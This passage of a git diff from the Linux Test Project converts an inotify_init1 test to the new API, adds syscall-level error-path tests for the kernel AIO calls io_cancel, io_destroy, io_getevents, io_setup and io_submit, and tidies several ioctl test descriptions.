-	/* Capture signals if any */
-	/* Create temporary directories */
-	TEST_PAUSE;
-	tst_tmpdir();
-}
-
-int main(int argc, char *argv[])
-{
-	int fd, fl;
-	int lc;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	if ((tst_kvercmp(2, 6, 27)) < 0) {
-		tst_brkm(TCONF, NULL,
-			 "This test can only run on kernels that are 2.6.27 "
-			 "and higher");
-	}
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); ++lc) {
-		tst_count = 0;
-		for (testno = 0; testno < TST_TOTAL; ++testno) {
-			fd = ltp_syscall(__NR_inotify_init1, 0);
-			if (fd == -1) {
-				tst_brkm(TFAIL | TERRNO, cleanup,
-					 "inotify_init1(0) failed");
-			}
-			fl = fcntl(fd, F_GETFL);
-			if (fl == -1) {
-				tst_brkm(TBROK | TERRNO, cleanup,
-					 "fcntl failed");
-			}
-			if (fl & O_NONBLOCK) {
-				tst_brkm(TFAIL, cleanup,
-					 "inotify_init1(0) set non-blocking "
-					 "mode");
-			}
-			close(fd);
-
-			fd = ltp_syscall(__NR_inotify_init1, IN_NONBLOCK);
-			if (fd == -1) {
-				tst_brkm(TFAIL | TERRNO, cleanup,
-					 "inotify_init1(IN_NONBLOCK) failed");
-			}
-			fl = fcntl(fd, F_GETFL);
-			if (fl == -1) {
-				tst_brkm(TBROK | TERRNO, cleanup,
-					 "fcntl failed");
-			}
-			if ((fl & O_NONBLOCK) == 0) {
-				tst_brkm(TFAIL, cleanup,
-					 "inotify_init1(IN_NONBLOCK) set "
-					 "non-blocking mode");
-			}
-			close(fd);
-			tst_resm(TPASS, "inotify_init1(IN_NONBLOCK) PASSED");
-		}
-	}
-	tst_exit();
-}
+static struct tst_test test = {
+	.test_all = run,
+};
diff --git a/testcases/kernel/syscalls/io_cancel/.gitignore b/testcases/kernel/syscalls/io_cancel/.gitignore
index 1728695..f01afa5 100644
--- a/testcases/kernel/syscalls/io_cancel/.gitignore
+++ b/testcases/kernel/syscalls/io_cancel/.gitignore
@@ -1 +1,2 @@
 /io_cancel01
+/io_cancel02
diff --git a/testcases/kernel/syscalls/io_cancel/io_cancel01.c b/testcases/kernel/syscalls/io_cancel/io_cancel01.c
index 11f789b..f7e8bd0 100644
--- a/testcases/kernel/syscalls/io_cancel/io_cancel01.c
+++ b/testcases/kernel/syscalls/io_cancel/io_cancel01.c
@@ -8,8 +8,8 @@
 /*\
  * [Description]
  *
- * Calls io_cancel() with one of the data structures points to invalid data and
- * expects it to return EFAULT.
+ * Test io_cancel invoked via syscall(2) with one of pointers set to invalid
+ * address and expects it to return EFAULT.
  */
 
 #include <linux/aio_abi.h>
@@ -21,10 +21,15 @@
 static void run(void)
 {
 	aio_context_t ctx;
+
 	memset(&ctx, 0, sizeof(ctx));
 	TST_EXP_FAIL(tst_syscall(__NR_io_cancel, ctx, NULL, NULL), EFAULT);
 }
 
 static struct tst_test test = {
+	.needs_kconfigs = (const char *[]) {
+		"CONFIG_AIO=y",
+		NULL
+	},
 	.test_all = run,
 };
diff --git a/testcases/kernel/syscalls/io_cancel/io_cancel02.c b/testcases/kernel/syscalls/io_cancel/io_cancel02.c
new file mode 100644
index 0000000..92ec651
--- /dev/null
+++ b/testcases/kernel/syscalls/io_cancel/io_cancel02.c
@@ -0,0 +1,54 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Crackerjack Project., 2007
+ * Ported from Crackerjack to LTP by Masatake YAMATO <yamato@redhat.com>
+ * Copyright (c) 2011 Cyril Hrubis <chrubis@suse.cz>
+ * Copyright (c) 2021 Xie Ziyao <xieziyao@huawei.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Test io_cancel invoked via libaio with one of the data structures points
+ * to invalid data and expects it to return -EFAULT.
+ */
+
+#include "config.h"
+#include "tst_test.h"
+
+#ifdef HAVE_LIBAIO
+
+#include <libaio.h>
+
+static void run(void)
+{
+	io_context_t ctx;
+
+	memset(&ctx, 0, sizeof(ctx));
+	TEST(io_cancel(ctx, NULL, NULL));
+
+	if (TST_RET == 0) {
+		tst_res(TFAIL, "io_cancel() succeeded unexpectedly");
+		return;
+	}
+
+	if (TST_RET == -EFAULT) {
+		tst_res(TPASS, "io_cancel() failed with EFAULT");
+		return;
+	}
+
+	tst_res(TFAIL, "io_cancel() failed unexpectedly %s (%ld) expected EFAULT",
+		tst_strerrno(-TST_RET), -TST_RET);
+}
+
+static struct tst_test test = {
+	.needs_kconfigs = (const char *[]) {
+		"CONFIG_AIO=y",
+		NULL
+	},
+	.test_all = run,
+};
+
+#else
+TST_TEST_TCONF("test requires libaio and it's development packages");
+#endif
diff --git a/testcases/kernel/syscalls/io_destroy/.gitignore b/testcases/kernel/syscalls/io_destroy/.gitignore
index 025aa0f..48a16cd 100644
--- a/testcases/kernel/syscalls/io_destroy/.gitignore
+++ b/testcases/kernel/syscalls/io_destroy/.gitignore
@@ -1 +1,2 @@
 /io_destroy01
+/io_destroy02
diff --git a/testcases/kernel/syscalls/io_destroy/io_destroy01.c b/testcases/kernel/syscalls/io_destroy/io_destroy01.c
index bb89f61..79c685f 100644
--- a/testcases/kernel/syscalls/io_destroy/io_destroy01.c
+++ b/testcases/kernel/syscalls/io_destroy/io_destroy01.c
@@ -1,15 +1,16 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *   Copyright (c) Crackerjack Project., 2007
- *   Copyright (c) 2011 Cyril Hrubis <chrubis@suse.cz>
- *   Copyright (c) 2017 Xiao Yang <yangx.jy@cn.fujitsu.com>
+ * Copyright (c) Crackerjack Project., 2007
+ * Ported from Crackerjack to LTP by Masatake YAMATO <yamato@redhat.com>
+ * Copyright (c) 2011 Cyril Hrubis <chrubis@suse.cz>
+ * Copyright (c) 2017 Xiao Yang <yangx.jy@cn.fujitsu.com>
  */
 
-/* Porting from Crackerjack to LTP is done
- * by Masatake YAMATO <yamato@redhat.com>
+/*\
+ * [Description]
  *
- * Description:
- * io_destroy(2) fails and returns -EINVAL if ctx is invalid.
+ * Test io_destroy invoked via libaio with invalid ctx and expects it to
+ * return -EINVAL.
  */
 
 #include <errno.h>
diff --git a/testcases/kernel/syscalls/io_destroy/io_destroy02.c b/testcases/kernel/syscalls/io_destroy/io_destroy02.c
new file mode 100644
index 0000000..c8cc638
--- /dev/null
+++ b/testcases/kernel/syscalls/io_destroy/io_destroy02.c
@@ -0,0 +1,38 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Crackerjack Project., 2007
+ * Ported from Crackerjack to LTP by Masatake YAMATO <yamato@redhat.com>
+ * Copyright (c) 2011 Cyril Hrubis <chrubis@suse.cz>
+ * Copyright (c) 2017 Xiao Yang <yangx.jy@cn.fujitsu.com>
+ * Copyright (c) 2021 Xie Ziyao <xieziyao@huawei.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Test io_destroy invoked via syscall(2) with an invalid ctx and expects
+ * it to return EINVAL.
+ */
+
+#include <linux/aio_abi.h>
+
+#include "config.h"
+#include "tst_test.h"
+#include "lapi/syscalls.h"
+
+static void run(void)
+{
+	aio_context_t ctx;
+
+	memset(&ctx, 0xff, sizeof(ctx));
+	TST_EXP_FAIL(tst_syscall(__NR_io_destroy, ctx), EINVAL,
+		     "io_destroy() with an invalid ctx");
+}
+
+static struct tst_test test = {
+	.needs_kconfigs = (const char *[]) {
+		"CONFIG_AIO=y",
+		NULL
+	},
+	.test_all = run,
+};
diff --git a/testcases/kernel/syscalls/io_getevents/.gitignore b/testcases/kernel/syscalls/io_getevents/.gitignore
index b3a5f4d..b57022f 100644
--- a/testcases/kernel/syscalls/io_getevents/.gitignore
+++ b/testcases/kernel/syscalls/io_getevents/.gitignore
@@ -1 +1,2 @@
 /io_getevents01
+/io_getevents02
diff --git a/testcases/kernel/syscalls/io_getevents/io_getevents01.c b/testcases/kernel/syscalls/io_getevents/io_getevents01.c
index ad85cda..e8a426a 100644
--- a/testcases/kernel/syscalls/io_getevents/io_getevents01.c
+++ b/testcases/kernel/syscalls/io_getevents/io_getevents01.c
@@ -8,7 +8,8 @@
 /*\
  * [Description]
  *
- * Calls io_getevents() when ctx is invalid and expects it to return EINVAL.
+ * Test io_getevents invoked via syscall(2) with invalid ctx and expects it to
+ * return EINVAL.
  */
 
 #include <linux/aio_abi.h>
@@ -20,10 +21,16 @@
 static void run(void)
 {
 	aio_context_t ctx;
+
 	memset(&ctx, 0, sizeof(ctx));
-	TST_EXP_FAIL(tst_syscall(__NR_io_getevents, ctx, 0, 0, NULL, NULL), EINVAL);
+	TST_EXP_FAIL2(tst_syscall(__NR_io_getevents, ctx, 0, 0, NULL, NULL), EINVAL,
+		"io_getevents syscall with invalid ctx");
 }
 
 static struct tst_test test = {
+	.needs_kconfigs = (const char *[]) {
+		"CONFIG_AIO=y",
+		NULL
+	},
 	.test_all = run,
 };
diff --git a/testcases/kernel/syscalls/io_getevents/io_getevents02.c b/testcases/kernel/syscalls/io_getevents/io_getevents02.c
new file mode 100644
index 0000000..09eedd4
--- /dev/null
+++ b/testcases/kernel/syscalls/io_getevents/io_getevents02.c
@@ -0,0 +1,53 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Crackerjack Project., 2007
+ * Ported from Crackerjack to LTP by Masatake YAMATO <yamato@redhat.com>
+ * Copyright (c) 2011 Cyril Hrubis <chrubis@suse.cz>
+ * Copyright (c) 2021 Xie Ziyao <xieziyao@huawei.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Test io_getevents invoked via libaio with invalid ctx and expects it to
+ * return -EINVAL.
+ */
+
+#include "config.h"
+#include "tst_test.h"
+
+#ifdef HAVE_LIBAIO
+#include <libaio.h>
+
+static void run(void)
+{
+	io_context_t ctx;
+
+	memset(&ctx, 0, sizeof(ctx));
+	TEST(io_getevents(ctx, 0, 0, NULL, NULL));
+
+	if (TST_RET == 0) {
+		tst_res(TFAIL, "io_getevents() succeeded unexpectedly");
+		return;
+	}
+
+	if (TST_RET == -EINVAL) {
+		tst_res(TPASS, "io_getevents() failed with EINVAL");
+		return;
+	}
+
+	tst_res(TFAIL, "io_getevents() failed unexpectedly %s (%ld) expected EINVAL",
+		tst_strerrno(-TST_RET), -TST_RET);
+}
+
+static struct tst_test test = {
+	.needs_kconfigs = (const char *[]) {
+		"CONFIG_AIO=y",
+		NULL
+	},
+	.test_all = run,
+};
+
+#else
+TST_TEST_TCONF("test requires libaio and it's development packages");
+#endif
diff --git a/testcases/kernel/syscalls/io_pgetevents/io_pgetevents01.c b/testcases/kernel/syscalls/io_pgetevents/io_pgetevents01.c
index a0b56d8..0525221 100644
--- a/testcases/kernel/syscalls/io_pgetevents/io_pgetevents01.c
+++ b/testcases/kernel/syscalls/io_pgetevents/io_pgetevents01.c
@@ -28,12 +28,6 @@
 	tst_res(TINFO, "Testing variant: %s", variants[tst_variant].desc);
 }
 
-static void cleanup(void)
-{
-	if (fd > 0)
-		SAFE_CLOSE(fd);
-}
-
 static void run(void)
 {
 	struct time64_variants *tv = &variants[tst_variant];
@@ -71,6 +65,8 @@
 
 	if (io_destroy(ctx) < 0)
 		tst_brk(TBROK | TERRNO, "io_destroy() failed");
+
+	SAFE_CLOSE(fd);
 }
 
 static struct tst_test test = {
@@ -78,7 +74,6 @@
 	.test_all = run,
 	.test_variants = ARRAY_SIZE(variants),
 	.needs_tmpdir = 1,
-	.cleanup = cleanup,
 	.setup = setup,
 };
 
diff --git a/testcases/kernel/syscalls/io_pgetevents/io_pgetevents02.c b/testcases/kernel/syscalls/io_pgetevents/io_pgetevents02.c
index af71e17..d763e15 100644
--- a/testcases/kernel/syscalls/io_pgetevents/io_pgetevents02.c
+++ b/testcases/kernel/syscalls/io_pgetevents/io_pgetevents02.c
@@ -93,11 +93,8 @@
 {
 	struct time64_variants *tv = &variants[tst_variant];
 	struct tcase *tc = &tcases[n];
-	struct timespec *to;
-	sigset_t *sigmask;
-
-	sigmask = tc->sigmask ? tc->sigmask : bad_addr;
-	to = tc->timeout ? tc->timeout : bad_addr;
+	void *const to = tc->timeout ? tst_ts_get(tc->timeout) : bad_addr;
+	sigset_t *const sigmask = tc->sigmask ? tc->sigmask : bad_addr;
 
 	TEST(tv->io_pgetevents(*tc->ctx, tc->min_nr, tc->max_nr, tc->events, to,
 			       sigmask));
diff --git a/testcases/kernel/syscalls/io_setup/.gitignore b/testcases/kernel/syscalls/io_setup/.gitignore
index 4fd0396..37a4b83 100644
--- a/testcases/kernel/syscalls/io_setup/.gitignore
+++ b/testcases/kernel/syscalls/io_setup/.gitignore
@@ -1 +1,2 @@
 /io_setup01
+/io_setup02
diff --git a/testcases/kernel/syscalls/io_setup/io_setup01.c b/testcases/kernel/syscalls/io_setup/io_setup01.c
index 28aee78..ed99f38 100644
--- a/testcases/kernel/syscalls/io_setup/io_setup01.c
+++ b/testcases/kernel/syscalls/io_setup/io_setup01.c
@@ -1,20 +1,22 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *   Copyright (c) Crackerjack Project., 2007
- *   Copyright (c) 2011 Cyril Hrubis <chrubis@suse.cz>
- *   Copyright (c) 2017 Xiao Yang <yangx.jy@cn.fujitsu.com>
+ * Copyright (c) Crackerjack Project., 2007
+ * Ported from Crackerjack to LTP by Masatake YAMATO <yamato@redhat.com>
+ * Copyright (c) 2011 Cyril Hrubis <chrubis@suse.cz>
+ * Copyright (c) 2017 Xiao Yang <yangx.jy@cn.fujitsu.com>
  */
 
-/* Porting from Crackerjack to LTP is done
- * by Masatake YAMATO <yamato@redhat.com>
+/*\
+ * [Description]
  *
- * Description:
- * 1) io_setup(2) succeeds if both nr_events and ctxp are valid.
- * 2) io_setup(2) fails and returns -EINVAL if ctxp is not initialized to 0.
- * 3) io_setup(2) fails and returns -EINVAL if nr_events is invalid.
- * 4) io_setup(2) fails and returns -EFAULT if ctxp is NULL.
- * 5) io_setup(2) fails and returns -EAGAIN if nr_events exceeds the limit
- *    of available events.
+ * Test io_setup invoked via libaio:
+ *
+ * - io_setup succeeds if both nr_events and ctxp are valid.
+ * - io_setup fails and returns -EINVAL if ctxp is not initialized to 0.
+ * - io_setup fails and returns -EINVAL if nr_events is invalid.
+ * - io_setup fails and returns -EFAULT if ctxp is NULL.
+ * - io_setup fails and returns -EAGAIN if nr_events exceeds the limit
+ *   1of available events.
  */
 
 #include <errno.h>
diff --git a/testcases/kernel/syscalls/io_setup/io_setup02.c b/testcases/kernel/syscalls/io_setup/io_setup02.c
new file mode 100644
index 0000000..f297979
--- /dev/null
+++ b/testcases/kernel/syscalls/io_setup/io_setup02.c
@@ -0,0 +1,64 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Crackerjack Project., 2007
+ * Ported from Crackerjack to LTP by Masatake YAMATO <yamato@redhat.com>
+ * Copyright (c) 2011 Cyril Hrubis <chrubis@suse.cz>
+ * Copyright (c) 2017 Xiao Yang <yangx.jy@cn.fujitsu.com>
+ * Copyright (c) 2021 Xie Ziyao <xieziyao@huawei.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Test io_setup invoked via syscall(2):
+ *
+ * - io_setup fails and returns EFAULT if ctxp is NULL.
+ * - io_setup fails and returns EINVAL if ctxp is not initialized to 0.
+ * - io_setup fails and returns EINVAL if nr_events is -1.
+ * - io_setup fails and returns EAGAIN if nr_events exceeds the limit
+ *   of available events.
+ * - io_setup succeeds if both nr_events and ctxp are valid.
+ */
+
+#include <linux/aio_abi.h>
+
+#include "config.h"
+#include "tst_test.h"
+#include "lapi/syscalls.h"
+
+static void run(void)
+{
+	aio_context_t ctx;
+
+	TST_EXP_FAIL(tst_syscall(__NR_io_setup, 1, NULL), EFAULT,
+		     "io_setup() when ctxp is NULL");
+
+	memset(&ctx, 1, sizeof(ctx));
+	TST_EXP_FAIL(tst_syscall(__NR_io_setup, 1, &ctx), EINVAL,
+		     "io_setup() when ctxp is not initialized to 0");
+
+	memset(&ctx, 0, sizeof(ctx));
+	TST_EXP_FAIL(tst_syscall(__NR_io_setup, -1, &ctx), EINVAL,
+		     "io_setup() when nr_events is -1");
+
+	unsigned aio_max = 0;
+	if (!access("/proc/sys/fs/aio-max-nr", F_OK)) {
+		SAFE_FILE_SCANF("/proc/sys/fs/aio-max-nr", "%u", &aio_max);
+		TST_EXP_FAIL(tst_syscall(__NR_io_setup, aio_max + 1, &ctx), EAGAIN,
+			     "io_setup() when nr_events exceeds the limit");
+	} else {
+		tst_res(TCONF, "the aio-max-nr file did not exist");
+	}
+
+	TST_EXP_PASS(tst_syscall(__NR_io_setup, 1, &ctx),
+		     "io_setup() when both nr_events and ctxp are valid");
+	TST_EXP_PASS_SILENT(tst_syscall(__NR_io_destroy, ctx));
+}
+
+static struct tst_test test = {
+	.needs_kconfigs = (const char *[]) {
+		"CONFIG_AIO=y",
+		NULL
+	},
+	.test_all = run,
+};
diff --git a/testcases/kernel/syscalls/io_submit/.gitignore b/testcases/kernel/syscalls/io_submit/.gitignore
index cac043b..60b0797 100644
--- a/testcases/kernel/syscalls/io_submit/.gitignore
+++ b/testcases/kernel/syscalls/io_submit/.gitignore
@@ -1 +1,3 @@
 /io_submit01
+/io_submit02
+/io_submit03
diff --git a/testcases/kernel/syscalls/io_submit/io_submit01.c b/testcases/kernel/syscalls/io_submit/io_submit01.c
index bbbbc91..616380b 100644
--- a/testcases/kernel/syscalls/io_submit/io_submit01.c
+++ b/testcases/kernel/syscalls/io_submit/io_submit01.c
@@ -1,11 +1,22 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) Crackerjack Project., 2007
+ * Ported from Crackerjack to LTP by Masatake YAMATO <yamato@redhat.com>
  * Copyright (c) 2011-2017 Cyril Hrubis <chrubis@suse.cz>
  */
 
-/* Porting from Crackerjack to LTP is done
-   by Masatake YAMATO <yamato@redhat.com> */
+/*\
+ * [Description]
+ *
+ * Test io_submit() invoked via libaio:
+ *
+ * - io_submit fails and returns -EINVAL if ctx is invalid.
+ * - io_submit fails and returns -EINVAL if nr is invalid.
+ * - io_submit fails and returns -EFAULT if iocbpp pointer is invalid.
+ * - io_submit fails and returns -EBADF if fd is invalid.
+ * - io_submit succeeds and returns the number of iocbs submitted.
+ * - io_submit succeeds and returns 0 if nr is zero.
+ */
 
 #include <errno.h>
 #include <string.h>
@@ -68,9 +79,11 @@
 {
 	TEST(io_setup(1, &ctx));
 	if (TST_RET == -ENOSYS)
-		tst_brk(TCONF | TRERRNO, "io_setup(): AIO not supported by kernel");
-	else if (TST_RET)
-		tst_brk(TBROK | TRERRNO, "io_setup() failed");
+		tst_brk(TCONF, "io_setup(): AIO not supported by kernel");
+	else if (TST_RET) {
+		tst_brk(TBROK, "io_setup() returned %ld(%s)",
+			TST_RET, tst_strerrno(-TST_RET));
+	}
 
 	io_prep_pread(&inv_fd_iocb, -1, buf, sizeof(buf), 0);
 
@@ -103,13 +116,19 @@
 static void verify_io_submit(unsigned int n)
 {
 	struct tcase *t = &tcases[n];
-	int ret;
+	struct io_event evbuf;
+	struct timespec timeout = { .tv_sec = 1 };
+	int i, ret;
 
 	ret = io_submit(*t->ctx, t->nr, t->iocbs);
 
 	if (ret == t->exp_errno) {
 		tst_res(TPASS, "io_submit() with %s failed with %s",
 			t->desc, errno_name(t->exp_errno));
+
+		for (i = 0; i < ret; i++)
+			io_getevents(*t->ctx, 1, 1, &evbuf, &timeout);
+
 		return;
 	}
 
diff --git a/testcases/kernel/syscalls/io_submit/io_submit02.c b/testcases/kernel/syscalls/io_submit/io_submit02.c
new file mode 100644
index 0000000..6ba4d99
--- /dev/null
+++ b/testcases/kernel/syscalls/io_submit/io_submit02.c
@@ -0,0 +1,100 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Crackerjack Project., 2007
+ * Ported from Crackerjack to LTP by Masatake YAMATO <yamato@redhat.com>
+ * Copyright (c) 2011-2017 Cyril Hrubis <chrubis@suse.cz>
+ * Copyright (c) 2021 Xie Ziyao <xieziyao@huawei.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Test io_submit invoked via syscall(2):
+ *
+ * 1. io_submit() returns the number of iocbs submitted.
+ * 2. io_submit() returns 0 if nr is zero.
+ */
+
+#include <linux/aio_abi.h>
+
+#include "config.h"
+#include "tst_test.h"
+#include "lapi/syscalls.h"
+
+#define TEST_FILE "test_file"
+#define MODE 0777
+
+static int fd;
+static char buf[100];
+
+static aio_context_t ctx;
+static struct iocb iocb;
+static struct iocb *iocbs[] = {&iocb};
+
+static struct tcase {
+	aio_context_t *ctx;
+	long nr;
+	struct iocb **iocbs;
+	const char *desc;
+} tc[] = {
+	{&ctx, 1, iocbs, "returns the number of iocbs submitted"},
+	{&ctx, 0, NULL, "returns 0 if nr is zero"},
+};
+
+static inline void io_prep_option(struct iocb *cb, int fd, void *buf,
+			size_t count, long long offset, unsigned opcode)
+{
+	memset(cb, 0, sizeof(*cb));
+	cb->aio_fildes = fd;
+	cb->aio_lio_opcode = opcode;
+	cb->aio_buf = (uint64_t)buf;
+	cb->aio_offset = offset;
+	cb->aio_nbytes = count;
+}
+
+static void setup(void)
+{
+	TST_EXP_PASS_SILENT(tst_syscall(__NR_io_setup, 1, &ctx));
+	fd = SAFE_OPEN(TEST_FILE, O_RDONLY | O_CREAT, MODE);
+	io_prep_option(&iocb, fd, buf, 0, 0, IOCB_CMD_PREAD);
+}
+
+static void cleanup(void)
+{
+	if (fd > 0)
+		SAFE_CLOSE(fd);
+
+	if (tst_syscall(__NR_io_destroy, ctx))
+		tst_brk(TBROK | TERRNO, "io_destroy() failed");
+}
+
+static void run(unsigned int i)
+{
+	struct io_event evbuf;
+	struct timespec timeout = { .tv_sec = 1 };
+	long j;
+
+	TEST(tst_syscall(__NR_io_submit, *tc[i].ctx, tc[i].nr, tc[i].iocbs));
+
+	if (TST_RET == tc[i].nr)
+		tst_res(TPASS, "io_submit() %s", tc[i].desc);
+	else
+		tst_res(TFAIL | TTERRNO, "io_submit() returns %ld, expected %ld", TST_RET, tc[i].nr);
+
+	for (j = 0; j < TST_RET; j++) {
+		tst_syscall(__NR_io_getevents, *tc[i].ctx, 1, 1, &evbuf,
+			&timeout);
+	}
+}
+
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tc),
+	.needs_tmpdir = 1,
+	.needs_kconfigs = (const char *[]) {
+		"CONFIG_AIO=y",
+		NULL
+	},
+	.setup = setup,
+	.cleanup = cleanup,
+	.test = run,
+};
diff --git a/testcases/kernel/syscalls/io_submit/io_submit03.c b/testcases/kernel/syscalls/io_submit/io_submit03.c
new file mode 100644
index 0000000..90780c0
--- /dev/null
+++ b/testcases/kernel/syscalls/io_submit/io_submit03.c
@@ -0,0 +1,120 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Crackerjack Project., 2007
+ * Ported from Crackerjack to LTP by Masatake YAMATO <yamato@redhat.com>
+ * Copyright (c) 2011-2017 Cyril Hrubis <chrubis@suse.cz>
+ * Copyright (c) 2021 Xie Ziyao <xieziyao@huawei.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Test io_submit invoked via syscall(2):
+ *
+ * 1. io_submit fails and returns EINVAL if ctx is invalid.
+ * 2. io_submit fails and returns EINVAL if nr is invalid.
+ * 3. io_submit fails and returns EFAULT if iocbpp pointer is invalid.
+ * 4. io_submit fails and returns EBADF if fd is invalid.
+ */
+
+#include <linux/aio_abi.h>
+
+#include "config.h"
+#include "tst_test.h"
+#include "lapi/syscalls.h"
+
+#define RDONLY_FILE "rdonly_file"
+#define WRONLY_FILE "wronly_file"
+#define MODE 0777
+
+static char buf[100];
+static aio_context_t ctx;
+static aio_context_t invalid_ctx;
+
+static struct iocb iocb;
+static struct iocb *iocbs[] = {&iocb};
+
+static struct iocb inv_fd_iocb;
+static struct iocb *inv_fd_iocbs[] = {&inv_fd_iocb};
+
+static int rdonly_fd;
+static struct iocb rdonly_fd_iocb;
+static struct iocb *rdonly_fd_iocbs[] = {&rdonly_fd_iocb};
+
+static int wronly_fd;
+static struct iocb wronly_fd_iocb;
+static struct iocb *wronly_fd_iocbs[] = {&wronly_fd_iocb};
+
+static struct iocb *zero_iocbs[1];
+
+static struct tcase {
+	aio_context_t *ctx;
+	long nr;
+	struct iocb **iocbs;
+	int exp_errno;
+	const char *desc;
+} tc[] = {
+	/* Invalid ctx */
+	{&invalid_ctx, 1, iocbs, EINVAL, "invalid ctx"},
+	/* Invalid nr */
+	{&ctx, -1, iocbs, EINVAL, "invalid nr"},
+	/* Invalid pointer */
+	{&ctx, 1, (void*)-1, EFAULT, "invalid iocbpp pointer"},
+	{&ctx, 1, zero_iocbs, EFAULT, "NULL iocb pointers"},
+	/* Invalid fd */
+	{&ctx, 1, inv_fd_iocbs, EBADF, "invalid fd"},
+	{&ctx, 1, rdonly_fd_iocbs, EBADF, "readonly fd for write"},
+	{&ctx, 1, wronly_fd_iocbs, EBADF, "writeonly fd for read"},
+};
+
+static inline void io_prep_option(struct iocb *cb, int fd, void *buf,
+			size_t count, long long offset, unsigned opcode)
+{
+	memset(cb, 0, sizeof(*cb));
+	cb->aio_fildes = fd;
+	cb->aio_lio_opcode = opcode;
+	cb->aio_buf = (uint64_t)buf;
+	cb->aio_offset = offset;
+	cb->aio_nbytes = count;
+}
+
+static void setup(void)
+{
+	TST_EXP_PASS_SILENT(tst_syscall(__NR_io_setup, 1, &ctx));
+	io_prep_option(&inv_fd_iocb, -1, buf, sizeof(buf), 0, IOCB_CMD_PREAD);
+
+	rdonly_fd = SAFE_OPEN(RDONLY_FILE, O_RDONLY | O_CREAT, MODE);
+	io_prep_option(&rdonly_fd_iocb, rdonly_fd, buf, sizeof(buf), 0, IOCB_CMD_PWRITE);
+
+	wronly_fd = SAFE_OPEN(WRONLY_FILE, O_WRONLY | O_CREAT, MODE);
+	io_prep_option(&wronly_fd_iocb, wronly_fd, buf, sizeof(buf), 0, IOCB_CMD_PREAD);
+}
+
+static void cleanup(void)
+{
+	if (rdonly_fd > 0)
+		SAFE_CLOSE(rdonly_fd);
+	if (wronly_fd > 0)
+		SAFE_CLOSE(wronly_fd);
+
+	if (tst_syscall(__NR_io_destroy, ctx))
+		tst_brk(TBROK | TERRNO, "io_destroy() failed");
+}
+
+static void run(unsigned int i)
+{
+	TST_EXP_FAIL2(tst_syscall(__NR_io_submit, *tc[i].ctx, tc[i].nr, tc[i].iocbs),
+		     tc[i].exp_errno, "io_submit() with %s", tc[i].desc);
+}
+
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tc),
+	.needs_tmpdir = 1,
+	.needs_kconfigs = (const char *[]) {
+		"CONFIG_AIO=y",
+		NULL
+	},
+	.setup = setup,
+	.cleanup = cleanup,
+	.test = run,
+};
diff --git a/testcases/kernel/syscalls/ioctl/ioctl01.c b/testcases/kernel/syscalls/ioctl/ioctl01.c
index c8a1b9a..26b603e 100644
--- a/testcases/kernel/syscalls/ioctl/ioctl01.c
+++ b/testcases/kernel/syscalls/ioctl/ioctl01.c
@@ -107,7 +107,7 @@
 	.test = verify_ioctl,
 	.tcnt = ARRAY_SIZE(tcases),
 	.options = (struct tst_option[]) {
-		{"D:", &device, "-D <tty device> : for example, /dev/tty[0-9]"},
+		{"D:", &device, "Tty device. For example, /dev/tty[0-9]"},
 		{}
 	}
 };
diff --git a/testcases/kernel/syscalls/ioctl/ioctl07.c b/testcases/kernel/syscalls/ioctl/ioctl07.c
index 883a556..073ff03 100644
--- a/testcases/kernel/syscalls/ioctl/ioctl07.c
+++ b/testcases/kernel/syscalls/ioctl/ioctl07.c
@@ -50,7 +50,7 @@
 	.setup = setup,
 	.cleanup = cleanup,
 	.options = (struct tst_option[]) {
-		{"f:", &s_fuzz, "-f c     Fuzz factor for valid match (default 2)"},
+		{"f:", &s_fuzz, "Fuzz factor for valid match (default 2)"},
 		{}
 	},
 	.test_all = verify_ioctl,
diff --git a/testcases/kernel/syscalls/ioctl/ioctl_loop01.c b/testcases/kernel/syscalls/ioctl/ioctl_loop01.c
index cf71184..734d803 100644
--- a/testcases/kernel/syscalls/ioctl/ioctl_loop01.c
+++ b/testcases/kernel/syscalls/ioctl/ioctl_loop01.c
@@ -1,24 +1,24 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2020 FUJITSU LIMITED. All rights reserved.
+ * Copyright (c) Linux Test Project, 2020-2022
  * Author: Yang Xu <xuyang2018.jy@cn.jujitsu.com>
+ */
+
+/*\
+ * [Description]
  *
- * This is a basic ioctl test about loopdevice.
- * It is designed to test LO_FLAGS_AUTOCLEAR and LO_FLAGS_PARTSCAN flag.
+ * Tests ioctl() on loopdevice with LO_FLAGS_AUTOCLEAR and LO_FLAGS_PARTSCAN flags.
  *
- * For LO_FLAGS_AUTOCLEAR flag, we only check autoclear field value in sys
- * directory and also get lo_flags by using LOOP_GET_STATUS.
+ * For LO_FLAGS_AUTOCLEAR flag, only checks autoclear field value in sysfs
+ * and also gets lo_flags by using LOOP_GET_STATUS.
  *
  * For LO_FLAGS_PARTSCAN flag, it is the same as LO_FLAGS_AUTOCLEAR flag.
- * But we also check whether we can scan partition table correctly ie check
+ * But also checks whether it can scan partition table correctly i.e. checks
  * whether /dev/loopnp1 and /sys/bloclk/loop0/loop0p1 existed.
  *
  * For LO_FLAGS_AUTOCLEAR flag, it can be clear. For LO_FLAGS_PARTSCAN flag,
- * it cannot be clear. We also check this.
- *
- * It is also a regression test for kernel
- * commit 10c70d95c0f2 ("block: remove the bd_openers checks in blk_drop_partitions")
- * commit 6ac92fb5cdff ("loop: Fix wrong masking of status flags").
+ * it cannot be clear. Test checks this.
  */
 
 #include <stdio.h>
